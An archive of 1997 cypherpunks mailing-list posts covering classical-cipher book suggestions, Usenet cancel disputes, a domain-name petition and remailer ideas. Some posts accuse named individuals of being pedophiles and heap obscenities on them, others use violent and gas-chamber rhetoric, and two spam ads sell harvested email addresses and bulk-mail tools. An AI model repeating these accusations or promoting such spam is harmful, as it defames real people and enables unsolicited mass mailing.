> Date: Thu, 7 Aug 1997 10:53:04 +1000 (EST)
> Subject: Old Cryto stuff, 

> Can anybody suggest any good books on old cryto techniques ?? I'm finally 
> learning to program, along with the stuff i've got to learn as part of 
> the class i thought i would make a start on learning to code 
> crypotgraphic algorithms. I was after some old ones that are simple to 
> code in software. Unfortuently the one in the back of the Schnier book 
> are a little to complex for my limited programming knowledge so far. 
> 
> So can anybody help or will i just be ignored like i have been at other 
> times ? 

Dover makes several very inexpensive reprints of books that have at least
some historical impact.

Cryptanalysis: a study of ciphers and their solution
Helen Fouche' Gaines
ISBN 0-486-20097-3
$4.50

Some topics include:

transposition                              concealment devices
nihilist transposition                     the turning grille
substitution                               consonant-line short cut
miltiple alphabet                          gronsfelt, porta, & beaufort
kasiski method                             vigenere' decryption
periodic number cyphers

includes several frequency tables and other neat stuff in appendixes

Number Theory and It's History
Oystein Ore
isbn 0-486-65620-9
$9.95

Some topics include:

euclids algorism                           prime numbers
aliquot parts                              indeterminate problems
linear indeterminate                       diophantine equations
congruences                                wilson's theorem
eulers theorem                             converse of fermats theorem

Hope it helps.

                                                 Jim Choate

From dlv at bwalk.dm.com  Wed Aug  6 19:07:46 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 10:07:46 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970802124946.15945@math.uiuc.edu>
Message-ID: <4DL2ae16w165w@bwalk.dm.com>

Tim Skirvin  writes:
> >Yes, there are lots of folks who forge cancels for "inappropriate cross-
> >posts" in the "big 8".
>
> 	Not accepted ones.  They're treated as rogues, and asked to stop
> it, and you know it.

Net.Scum like Chris Lewis, Jan Isley, Tim Brown, Bob Curtis, etc are treated
as rogues by me and my friends and told to stop by me and my friends - and
if they don't stop, we usually get their plugs pulled.  Tim Skirvin defended
net-abuse by Jan Isley, just as he defends the "UDP" against UUNet.

> > Please be advised that all of Tim Skirvin's FAQs are full of lies (except
> > for the parts plagiarized from David Stodolsky :-).
>
> 	Umm, no.

Examples of lies in Tim Skirvin's Magnum Opus, the "Cancel FAQ" (what else):

1.

]What is a Cancelbot?
]
]	A Cancelbot is a program that searches for messages matching a
]certain pattern and sends out cancels for them all.
]
]
]Sounds cool.  Where do I get one?
]
]	If you have to ask, you don't get one.
]
]
]What?  Why not?

My cancelbot has been freely available for over 18 months.  I've pointed
this out repeatedly to Tim Skirvin who continues to provide an answer to
a truly frequently asked question that reflects Skirvin's view of what
the reality should be, rather than the reality.

2.

]What is Dave the Resurrector?
]
]	After a particularly obnoxious run of cancels from ixc.net,
]Chris Lewis decided that it was time to write a program to repost stuff
]that was cancelled on news.admin.net-abuse.misc.  The Resurrector, named
]Dave, was the result.
]
]	The effect of this is that cancels to news.admin.net-abuse.misc
]are not effective unless Chris says so.

It has been pointed out many times that Chris Lewis does NOT repost cancelled
articles when he doesn't like the authors, such as myself.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From tcmay at got.net  Wed Aug  6 19:37:52 1997
From: tcmay at got.net (Tim May)
Date: Thu, 7 Aug 1997 10:37:52 +0800
Subject: IG Farben and the Legitimate Needs of Law Enforcement
In-Reply-To: <199708062340.BAA24470@basement.replay.com>
Message-ID: 

At 4:40 PM -0700 8/6/97, Anonymous wrote:
>
>  When the gun-thievery began in earnest, the thieves still had to lie
>in bigger and bigger stages, tearing small, then larger, pieces off the
>Constitution at each step of their con game.
>  With privacy and freedom, however, we have now reached a stage where
>the pretense of democracy is perfunctory, with the fascists who are
>rattling the chains standing on the stage behind the speaker as he or
>she assures us that "imprisonment for life will be a _voluntary_
>requirement."

An early member of the Eric Conspiracy Research Labs, Eric Blair, correctly
noted the abuse of language that is necessary to make anything go down with
minimum fuss...

>  The person I really feel bad for is Tim May. He used to at least be
>able to tell people, "I told you so! Check the archives from my
>previous life, and..."
>  Prophecy loses its luster once _everybody_ can predict the future,
>and things have reached the point where everyone recognizes their
>cues in the march toward the "Tear-Stained Monologue" where, in an
>allegorical way, "The good-guy gets the girl. _I_ wind up dead."

Don't cry for me, Canada.

It was also obvious to me several years ago that things would reach a point
where everyone could see what was coming. The curare of the government has
of course paralyzed many.

Nothing left but the shooting.

(I have been arguing that CFP shut down their pointless conferences...the
same old same old repeated every year. Alas, they are still planning their
big shindig in Austin next year. )

>  Face it, we all know where the cattle-cars are going, but they are
>carrying _other_ people--for now.

However, there is a progress toward an industry-friendly consensus on the
export of IG Farben's products: Farben will receive Most Favored Gasser
status in exchange for assisting with the Legitimate Needs of Law
Enforcement.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

From dlv at bwalk.dm.com  Wed Aug  6 20:18:53 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 11:18:53 +0800
Subject: Qualcomm employee attacks the remailers
In-Reply-To: <25455.870651372@zelkova.qualcomm.com>
Message-ID: 

Paul Pomes  writes:

> |Paul Pomes sends me harrassing e-mail and quotes more obscenities from
> |the anonymous remailers:

such as:

]I take this all to mean that you are Master Cocksucker Dimwit Vulis?

> As you posted the obscenities in the first place I fail to understand your
> objections.

Lie from Pomes: I never in my life sent anything to this motherfucker.

Another lie from Pomes: a few days ago the motherfucker wrote:

]Subject: Re: Entrust Technologies's Solo - free download
]From: Paul Pomes 
]Organization: Qualcomm, Inc.
]To: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
]Cc: freedom-knights at jetcafe.org
]Date: Wed, 30 Jul 1997 09:13:52 -0700
]Message-Id: <9502.870279232 at zelkova.qualcomm.com>
]Sender: ppomes at Qualcomm.com
]
]At 9:22 EDT on Wednesday, July 30, 1997, Dr.Dimitri Vulis KOTM wrote:
]
]|I ask everyone on these two forums to inform Northern Telecom Forgers /
]|Bell North Forgery Research / Entrust that we will boycott their
]|"security" products as long they continue to employ the child-molesting
]|pedophile Chris R. Lewis - the biggest forger on Usenet.
]
]Sorry, I'm afraid that honor belongs to you, Dimi.  What I will do is
]killfile you as also the biggest un-cultured twit on Usenet.  High honors
]of a sort.
]
]/pbp

Clearly Pomes lied about having killfiled me.

Pomes harrasses anonymous remailer operators: he has been complaining to
Jeff Berches's employer and upstream, contributing to his decision
to shut down the cajones remailer:

]To: abuse at hotwired.com, abuse at bbnplanet.net, remailer-admin at cajones.com
]        jeff at hotbox.com, ops at bbnplanet.com, toxic at content.org,
]        dgaudet-djg20 at arctic.org
]From: Paul Pomes 

Tim Skirvin condones and supports net-abuse by Net.Scum like Pomes,
Hannigan, and Varshavchik.

Please tell Qualcomm what you think about their employee attacking
the anonymous remailers.

From dlv at bwalk.dm.com  Wed Aug  6 20:20:26 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 11:20:26 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: 
Message-ID: 

? the Platypus {aka David Formosa}  writes:

> On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > I'm sorry, I don't see how posting megabytes of noise every day can
> > swamp the content.
>
> You don't recall the poetry feastavil?  What about the sex groups for the
> less popular fetishes?

Can you hurt a person by sticking needles in a doll representing this person?
Possibly, if the person really believes this.

Why do people try to flood newsgroups with shit? (We can agree that some
do try to, whether they succed or not). Most of the time it happens because
some asshole is trying to take ownership of an unmoderated newsgroup and
disses people whom he's trying to silence.  Some of the assholes resort
to forging cancels; most limit their censorship to postmaster complaints,
false accusation of "spamming", and occasional mailbombs.

Examples from the Net.Scum rogue collection: Scott Kellog from Sematech
falsely accuses various people of "spamming" his newsgroup, but hasn't
been caught forging cancels yet.  On the other hand Bob Curtis has taken
over alt.smokers.cigars and forges cancels for articles that merely
question his "ownership" of the newsgroup. Do read - it's very enlightening.

The biologist Garrett Hardin published an essay, _The Tragedy of the Commons_
in _Science_, Dec 13, 1968.  Many misguided people have NOT read the eassay,
but like to cite it.  They argue that according to Hardin, Usenet would be
used more "efficiently" if every newsgroup had an "owner" - a self-appointed
"mediator" (their favorite title - don't know what asshole first came up
with it). They try to assert property rights where they can't be enforced
and succed only in pissing off a lot of people whom they tried to censor.

If you were told that a formerly common meadow is now owned by a self-
appointed asshole who disses you, would you litter on the meadow, shit
and piss on it, and possibly dump toxic radioactive waste on it?  When
the self-appointed "owner" pisses off a lot of people, some of them
will - especially since they can get away with it.

This reminds me of the encosure movement in medieval England that sought
to make the use of common lands more "efficient" by privatizing them -
causing numerous peasants extreme misery.  Read your history.

The good news is that newsgroup floods don't really hurt anyone except
the egos of the assholes who claim to "own' the affected newsgroups.

> > Moreover, if such actions were indeed cause a problem, they would not be
> > eliminated with payments. Some people would be willing to spend money to
> > "flood" the net
>
> Here we aggry, porn4pron and others will still make a proffet from
> spamming.  Infact puting a cost to posting creates a biase aggainst
> unpopulare options and towards spam.  Indeed such a payment system would
> make the problem worce.

I like the idea of encouraging news readers to send e-cash (possibly via
anon remailers) to the posters whose writings they like and would like to
see more of.  This is a generalization of the discussion we had on the
cypherpunks list a few months ago, how companies could send e-cash to
Usenet posters who say good things about their products.

Porn4porn posts A LOT of crap in alt.sex.* and admits that it's crap.
It then asks the readers: instead of wading through our crap for free,
why not pay us to get the prn you're looking for?  And my response is:
why not just killfile the idiots, or why not choose to not select
their crap for reading - it's easily identifiable.

Do you remember all the talk about "intelligent internet agents" who were
supposed to look for stuff we're interested in - like the one that would
learn the user's tastes for music, and suggest more music that he'd
probably like; the one that learned the user's scheduling preferences to
manage his appointment calendar; well, here's an excellent idea for an
AI project for a master's thesis - write an agent that learns what the
user likes to read and finds it on Usenet (irrespective of where it's
posted) and doesn't bother showing the user what he doesn't want to read.

> > Instead of discouraging the behavior you don't like, encourage the
> > behavior you do like.
>
> [Nods]  The good old blow job prinisipul.

Yep. Works great with kids and animals.

> > I invite Adam and David to subscribe to the freedom-knights mailing list
> > (send 'subscribe freedom-knights at jetcafe.org' to majordomo at jetcafe.org)
> > if you want to continue this not-quite-crypto discussion there.
>
> I have attempted to do so in the past,  and will attempt to do so again.

There's some interesting discussion going on there in addition to my xposts.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From kent at songbird.com  Thu Aug  7 17:44:13 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 7 Aug 1997 17:44:13 -0700 (PDT)
Subject: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <199708071951.MAA21851@adnetsol.adnetsol.com>
Message-ID: <19970807173814.48963@bywater.songbird.com>

On Thu, Aug 07, 1997 at 12:53:16PM -0700, Ross Wright wrote:
[...]
> 
> For no reason whatsoever should you cancel a message you did not send 
> yourself.

How about if it is an employee of yours, using your computer
equipment, that sent the message, in explict contradition to your
companies stated policy? How about if it is your 5 year old child who
just sent a 5 megabyte spam to 500 groups? What if the message is
forged in such a way that it looks exactly as if it came from you?
What if the sender asks you to cancel it because they don't know how?

Absolutist thinking is *almost* always wrong :-)

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html

From dlv at bwalk.dm.com  Thu Aug  7 19:22:10 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 19:22:10 -0700 (PDT)
Subject: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <19970807173814.48963@bywater.songbird.com>
Message-ID: 

Kent Crispin  writes:

> On Thu, Aug 07, 1997 at 12:53:16PM -0700, Ross Wright wrote:
> [...]
> >
> > For no reason whatsoever should you cancel a message you did not send
> > yourself.

Yep.

> How about if it is an employee of yours, using your computer
> equipment, that sent the message, in explict contradition to your
> companies stated policy?

Use a retraction server (David's project)

> How about if it is your 5 year old child who
> just sent a 5 megabyte spam to 500 groups?

Ditto.

> What if the message is
> forged in such a way that it looks exactly as if it came from you?

Ditto, and consider setting up a service to automatically issue NoCeMs
for forgeries.

> What if the sender asks you to cancel it because they don't know how?

Make the retraction server easier to use.

> Absolutist thinking is *almost* always wrong :-)

kent Crispin sounds like a pedophile.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From info at pgmedia.net  Thu Aug  7 19:26:25 1997
From: info at pgmedia.net (pgMedia)
Date: Thu, 7 Aug 1997 19:26:25 -0700 (PDT)
Subject: Petition US Dept. of Commerce in support of NAME.SPACE
Message-ID: <1341134534-1071285@MediaFilter.org>

Hello All!

The US Department of Commerce is soliciting
comments on the future of domain names on the
internet.

We here at name.space believe that we have designed and
implemented the most all encompassing solution for the good
of the internet and in the interest of the public and free
enterprise.

This is a call to action in support of NAME.SPACE...

Please go to:

http://petition.name.space.xs2.net

and "sign" the petition with your name and email
address, then submit the form to the mailbot who
will send it along to the US Department of Commerce.

For those who choose to write their personal views,
or otherwise comment on the name.space petition,
please use the optional doit yourself form linked to
from the petition page.  All individual comments will
be emailed to USDoC as well as be posted on the public
forum on the NAME.SPACE website.

Please take this time to make your voices heard!

DEADLINE FOR COMMENTS IS AUGUST 18, 1997
so please don't wait! time is running out.

For a preview, the full text of the petition appears below.
If you know people who lack web access, please pass it along
so they may participate via email.  Such submissions should
be sent to dns at ntia.doc.gov

Please take a few moments to review the contents of the
petition and please, do pass this info on to as many people
as possible.

Thank you for your time and for your support.

Best Wishes,

Paul Garrin
name.space
http://name.space
http://namespace.xs2.net

----------------------full text of petition follows------------------

       PETITION TO THE US DEPARTMENT OF COMMERCE IN SUPPORT OF
       THE NAME.SPACE(TM) SYSTEM OF GLOBAL DIRECTORY SERVICES

                   (The New Paradigm for the Old DNS)

I [YOUR NAME WILL BE INSERTED] do hereby support the design of the
expanded toplevel Internet namespace which is currently operated by
pgMedia, Inc.'s NAME.SPACE(TM) service, located on the internet at
http://namespace.pgmedia.net (or http://name.space).

The paradigm implemented by NAME.SPACE(TM) is the most
pro-competitive, democratic and open system proposed so far with
respect to opening up the administration and operation of the
Domain-Name-System ("DNS"). The structure advocated by NAME.SPACE(TM)
removes the artificial barriers to entry that exist today as a result of
the monopolistic control over the domain name registration market
exerted by Network Solutions, Inc. ("NSI"). The NAME.SPACE(TM) paradigm
incorporates a fair, competitive structure which encourages
investment and innovation by companies wishing to compete in the
provision of this service which is essential to the operation and
continued growth of the Internet.

pgMedia, Inc. has created, through substantial private investment in
research and development, its NAME.SPACE(TM) registry administered by
thirteen toplevel root-directory servers located in five countries. The
NAME.SPACE(TM) registry uses innovative and creative techniques which
bring the old DNS out of the Cold War and into The 90'S.

The NAME.SPACE(TM) system decentralizes the administration of DNS and
enables open competition in the Public Domain Toplevel Namespace
without regulation by any governments or quasi-governmental
authority, nor does it require the enactment of new laws or regulations.

Description of the NAME.SPACE(TM) service:

On the NAME.SPACE(TM) system, name registrations are taken by
registrars who administer client accounts under the given toplevel
name categories (publicly shared toplevel namespace). All registrars
must register their digital ID with a trusted third party/parties which
authenticates and authorizes them to function as registries. The
application process is administered by an independent company, similar
to the process used by banks when authorizing merchant credit-card
accounts, and the operation of secure servers used in commercial
transactions on the Internet today.

Registries update the database on demand based on the availability of a
given name address using the IDSD system (IDSD=Integral Database
Synchronizer Daemon), a secure protocol developed by pgMedia which is
available, without limitation or charge. (A detailed description of the
IDSD protocol can be found at http://namespace.xs2.net/IDSD). IDSD
makes it technically feasible for ALL registries to share the toplevel
namespace equally, eliminating any technical justification for
"exclusive" control over any given toplevel name by a single registry,
such as NSI currently enjoys with ".com".

Registration is accomplished instantaneously through an interactive,
form-based interface on the World Wide Web with online payment
options via a secure server. During the registration process, a
registrant establishes an account, a contact "handle" and, of course its
"name". The registrant has the option to choose whether or not its
personal contact information will be publicly listed. All other account
information, of course, remains confidential. The registrant may then
establish a Portable Address Record, over which it has full
administrative access on the NAME.SPACE nameservers. This service
allows a registrant to change service providers and easily take its
"name" to a new host without delay or complications. Upon completion
of the registration process by the registrant, the NAME.SPACE(TM) system
immediately processes the information and creates the second level
entry into the toplevel database, which is then distributed to all other
root-servers via the IDSD protocol. The registration process and the
creation of Portable Address Records are instantaneous, and function
on the Internet within minutes, not days or weeks as in the current
system.

Issues and Answers

Under the NAME.SPACE(TM) paradigm, the toplevel namespace functions as
a Global Directory Service and would be managed within the
competitive marketplace in the general interest of the Internet public
through the various independent registrars. Each generic TLD ("gTLD") is
administered by all registrars who wish to offer services thereunder
with no exclusive claim of ownership of any toplevel name by any
individual, corporation or government, subject to existing intellectual
property law.

These gTLDs may be added or removed based on public demand. Also,
gTLDs may include languages other than English, limited only to the US
ASCII character set, the English alphabet plus 10 digits and the hyphen
for a total of 37 characters.

All leading authorities are in agreement that there is no limit to the
number of possible toplevel names, as there is no limit to the number
of root directories under the UNIX file system. As NSI admits:

"DNS is highly scaleable. There is no technical limit to the number of
new top-level names that could be introduced. The original designer of
DNS, Paul Mockapetris, has verified the scalability of DNS."

(http://rs.internic.net/nic-support/nicnews/jun97/MYTHS4.html)

Thus, any claim that expanding the toplevel namespace is technically
not feasible is simply unfounded. The proponents of such claims seem
to be guided by a desire to limit the potential market so as to create an
artificial scarcity which translate into higher prices and profits.

The use of arbitrarily defined and limited categories such as ".com" has
forced many registrants to engage in verbal gymnastics, and to rely on
unwieldy content-based search engines - this would be obviated by the
full implementation of the NAME.SPACE(TM) paradigm. Thus, for example,
Acme.computers and Acme.plumbing could both have a presence on the
Internet without having to artificially pervert their names. The
"byte-counter mentality," which has plagued us with the dreaded
"Millennium Bug," was responsible for the initial constraints on the
toplevel domain name nomenclature. The NAME.SPACE(TM) system simply
recognizes that such limitations have long since been eliminated and
are wholly artificial.

With respect to intellectual property issues, no regulatory framework
can assure the complete protection of holders of such rights against
infringement by unauthorized parties. However, the potential for such
infringement, which exists in all published media, should not be used as
a basis to limit the free speech rights of the vast majority of law
abiding users of the Internet, while protecting artificial monopolies.
Furthermore, it is wholly inappropriate to empower any registrar to
adjudicate the rights of holders of intellectual property, for that role
must ultimatly reside with the courts.

Fees for registration services should be dictated by the market. Waiver
of fees and discounts should be considered for qualifying educational
and non-profit organizations, as well as a selection of totally free
categories (such as the Free.Zone provided currently by NAME.SPACE(TM)).

In conclusion, NAME.SPACE(TM) has developed and implemented a new
paradigm for the Global Directory Services on the Internet by bringing
the function of the old DNS, a legacy of the Cold War, into sync with the
current dynamic of the public, global, civilian and commercial Internet.

The NAME.SPACE(TM) system is a reality today. The NAME.SPACE(TM)
automated registry has been fully functional for nearly one year now
and has proven its reliability and desirability as evidenced by the
thousands of users who have been using the NAME.SPACE(TM) servers to
resolve their DNS and those who have registered their names in
NAME.SPACE(TM) .

I fully endorse and support the endeavors of pgMedia, Inc. and the
NAME.SPACE(TM) system and highly recommend that the U.S. Department of
Commerce recommend and concur in its full implementation on the
Internet.

From jmatk at tscm.com  Thu Aug  7 20:27:55 1997
From: jmatk at tscm.com (James M. Atkinson, Comm-Eng)
Date: Thu, 7 Aug 1997 20:27:55 -0700 (PDT)
Subject: Bugs Recently Found in Department of Energy Facilities
Message-ID: 

A non-text attachment was scrubbed...
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From mpj at ebible.org  Thu Aug  7 20:50:13 1997
From: mpj at ebible.org (Michael Paul Johnson)
Date: Thu, 7 Aug 1997 20:50:13 -0700 (PDT)
Subject: Death of the North American Crypto archive?
Message-ID: <3.0.3.32.19970807212752.00931870@teal.csn.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Alas, it wasn't government regulation.
It wasn't patent entanglements.
It wasn't spooks.
It is economics. Can anyone suggest an alternate host that might provide room 
for a few hundred megabytes of ftp access for free (or nearly free)? Can 
someone else in North American mirror all of that data, quickly, before the 
site shuts down?

I really don't want to shut http://www.sni.net/~mpj/crypto.htm down, but I 
don't want to face the bills alone...

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM+qSN0SP4McX10e7EQKAagCg0qQJTkunB3KZpwtiH00epx01xEoAnix0
2KdLJaN3VKsG6P9mSeZtUXiJ
=WMhh
-----END PGP SIGNATURE-----

Michael Paul Johnson    mailto:mpj at ebible.org (aka mpj at csn.net)
PO Box 1151             http://www.ebible.org/bible        <- Holy Bible
Longmont CO 80502-1151  http://www.sni.net/~mpj/crypto.htm <- Crypto archive
USA       

PGP RSA key fingerprint (mpjA): 3E67 A580 0DFB D16A  6D52 D3A9 1C07 4E41

PGP DSS/DH fingerprint: 28AE B775 DD65 62C7 0717  ECDA 448F E0C7 17D7 47BB

From kent at songbird.com  Fri Aug  8 00:44:30 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 8 Aug 1997 00:44:30 -0700 (PDT)
Subject: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <19970807173814.48963@bywater.songbird.com>
Message-ID: <19970808003832.21296@bywater.songbird.com>

On Thu, Aug 07, 1997 at 10:00:25PM -0500, Dr.Dimitri Vulis KOTM wrote:
> Kent Crispin  writes:
> 
> > On Thu, Aug 07, 1997 at 12:53:16PM -0700, Ross Wright wrote:
> > [...]
> > >
> > > For no reason whatsoever should you cancel a message you did not send
> > > yourself.
> 
> Yep.
> 
> > How about if it is an employee of yours, using your computer
> > equipment, that sent the message, in explict contradition to your
> > companies stated policy?
> 
> Use a retraction server (David's project)

Just curious -- how would this be morally different from doing a
cancel?

[...]

> kent Crispin sounds like a pedophile.

You need to get your hearing checked, then.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html

From dformosa at st.nepean.uws.edu.au  Fri Aug  8 07:24:50 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 8 Aug 1997 07:24:50 -0700 (PDT)
Subject: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <199708071951.MAA21851@adnetsol.adnetsol.com>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 7 Aug 1997, Ross Wright wrote:

> For no reason whatsoever should you cancel a message you did not send 
> yourself.

I have issued cancels for posts issued (mistankely) from a group account.
I have also issued cancels (with there permition) for authours who
couldn't work out how to do it.

> NPR's Jim Zarroli reports that UUNet, the Internet service provider
> whose billboards were blocked,

Please don't call UseNet a billboard.  Its like calling the interantional
phone system an intercom.

- --
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From name1 at msn.com  Fri Aug  8 07:36:13 1997
From: name1 at msn.com (name1 at msn.com)
Date: Fri, 8 Aug 1997 07:36:13 -0700 (PDT)
Subject: You wanted it - YOU GOT IT !!!
Message-ID: <199702170025 GAA08086 @emyn46.mail.aol.com>

OK, here it is:

45,000,000+  Yep that's right, FORTY FIVE MILLION PLUS
E-Mail addresses on 2 CD's.  Your Cost $119.00 plus
$5.00 for shipping and handling.

Want them overnight add $15.00

These are brand new names, with no duplicates, in text format
for easy use with your Bulk E-mail software programs.

Order now - will not last long at this price only taking limited
orders as we do not want to saturate the market with these names.

Send  Check or Money Order Only - (No Cash) to:

HPC
(702) 454-2563
2887 North Green Valley Parkway
Suite # 298
Henderson , Nevada 89014

Name ______________________________________________
Address_____________________________________________
City _____________________ State _______ Zip ___________
Email Address _______________________________________

_____ Send me the 45,000,000 Email addresses for  $119.00
           plus $5.00 shipping and handling (total $124.00)

_____ Send me the 45,000,000 Email addresses for $119.00
           plus $5.00 for shipping and handling and $15.00 for
           overnight service (total $139.00)

Make all checks and Money Orders payable to : "HPC"

(Checks held 5 business days)

(please print this order form) 

Hpc/897 

From extractor at impactmarketing.com  Fri Aug  8 14:36:00 1997
From: extractor at impactmarketing.com (extractor at impactmarketing.com)
Date: Fri, 8 Aug 1997 14:36:00 -0700 (PDT)
Subject: Never Pay for Advertising Again.
Message-ID: <199708082135.OAA12177@toad.com>

Since you are doing business on the 'net, you know that properly
targeting your advertising messages can be pretty tough.  And banner
ads are still way too expensive

Instead of paying for "impressions" to a general audience, wouldn't
you rather know that you sent your message directly to the appropriate
audience?

US World News & Reports came out with an article on Monday May 12,
1997 finding that  "70% of Internet users don't mind receiving
commercial email messages - as long as they are targeted to their
personal interests"

I found that you are doing business on the net by using "Extractor
PRO" commercial email software.  You, too, can send commercial
e-mail to those who are interested in what you have to offer,
whatever it is - and it's so inexpensive!

Once you own the software, you can build your very own Highly Targeted 
Mailing List, then send your ad out to your targeted mailing list at the push 
of a button.

"You may never have to pay for other forms of advertising again!"

"HotWired" Magazine says, "Extractor Pro simplifies the process of
gathering and managing email addresses from AOL, Usenet, mailing
lists, and other public sources."  Feb. 11, 1997

Extractor PRO is loaded with targeting power, high-speed, a
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From jsmith58 at hotmail.com  Fri Aug  8 00:34:55 1997
From: jsmith58 at hotmail.com (John Smith)
Date: Fri, 8 Aug 1997 15:34:55 +0800
Subject: "Voluntary Censorship" vs. Govt Legislation
Message-ID: <19970808062547.28652.qmail@hotmail.com>

Ryan Anderson writes:
>The second thing, and most important, is that web search engines need 
>to
>index *every* page, and allow the topical/categorization system as a 
>way
>to further limit searchs.  

You can't make the web search engines do that.  It's a free country.

What you can do is to avoid the ones which have policies you don't
like.  If Altavista starts listing only rated sites, you can use a
different search engine.

Realistically, the percentage of rated sites is probably going to
stay low for some time.  The big ones will rate, though.  So the
question will be whether most people are happy with the "top 1%"
sites, or whether they want access to the whole web.

It seems to me that if you are using a search engine, you probably
need access to more than just the big commercial sites.  Rogue
indexes which don't block unrated sites may have an advantage just
in terms of usefulness, even aside from the politics.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

From azur at netcom.com  Fri Aug  8 00:35:13 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 8 Aug 1997 15:35:13 +0800
Subject: Export Tax vs ITAR as a compromise ...
In-Reply-To: <199708072032.NAA20409@ohio.chromatic.com>
Message-ID: 

At 7:10 PM -0700 8/7/97, Marshall Clow wrote:
>If this were in force, and I were someone like, say, PGP,
>I would export a single copy of my program to a confederate
>overseas who would then duplicate it and sell it abroad,
>sending royalty payments back to me.
>
>25% of $50 is um... $12.50.

Once the PGP 5.0 listing have been OCR's and placed on Net, I'd be very
surprised if PGP didn't announce an offshore commercial licensing and
distribution agreement.  PGP may have published their source code, but they
have not ceded their copyrights or use of their trademarks.

--Steve

From azur at netcom.com  Fri Aug  8 00:35:19 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 8 Aug 1997 15:35:19 +0800
Subject: Postal remailers? (was Re: anti-spam law implies laws againstremailers?)
In-Reply-To: <199708061705.SAA03362@server.test.net>
Message-ID: 

>Nor are delivery services required to "know their customer" or to have
>ironclad proof of where a package originated. (Hell, even the U.S. Postal
>Service allows mail with no valid return address, and this was my
>experience in Europe as well.)

As an aside are there any anonymous postal remailers?  If not, it might be
interesting to set them up.  Maybe you could include a diskette with the
'nested' remailer information now used on Net and ecash payments at each
layer of the 'onion'.  Users would be encouraged to use uniform box
dimensions, wrapping and weight (via liquid 'filler weights) to thwart
traffic analysis.

--Steve

--Steve

From tcmay at got.net  Fri Aug  8 00:36:07 1997
From: tcmay at got.net (Tim May)
Date: Fri, 8 Aug 1997 15:36:07 +0800
Subject: Shor's Algorithms: Mad, Bad and Dangerous (fwd)
In-Reply-To: <199708080232.VAA08939@einstein.ssz.com>
Message-ID: 

At 7:32 PM -0700 8/7/97, Jim Choate wrote:

>The Many Worlds Hypothesis was developed by David Bohm and is an alternate
>way of looking at the Uncertaintly Principle, which gets its origin from the
>collapse of wave functions used to describe the potential states of a wave.

I would give credit to Hugh Everett, a student of John Wheeler's, for
developing this interpreation. In fact, the Many Worlds interpretation is
also called the Everett-Wheeler-Graham Interpretation. This was back in
1956-7.

ObCrypto Significance: Zero, in all worlds of the Multiverse

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

From dlv at bwalk.dm.com  Fri Aug  8 00:36:15 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 15:36:15 +0800
Subject: Query on cookies
In-Reply-To: 
Message-ID: 

Declan McCullagh  writes:

> I believe this is what the folks at Netscape tried to eliminate in 4.0,
> which I'm told features four cookie settings. One rejects "third party
> cookies."

Blessed are those who believe.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From ravage at ssz.com  Fri Aug  8 00:36:15 1997
From: ravage at ssz.com (Jim Choate)
Date: Fri, 8 Aug 1997 15:36:15 +0800
Subject: Shor's Algorithms: Mad, Bad and Dangerous (fwd)
Message-ID: <199708080604.BAA09505@einstein.ssz.com>

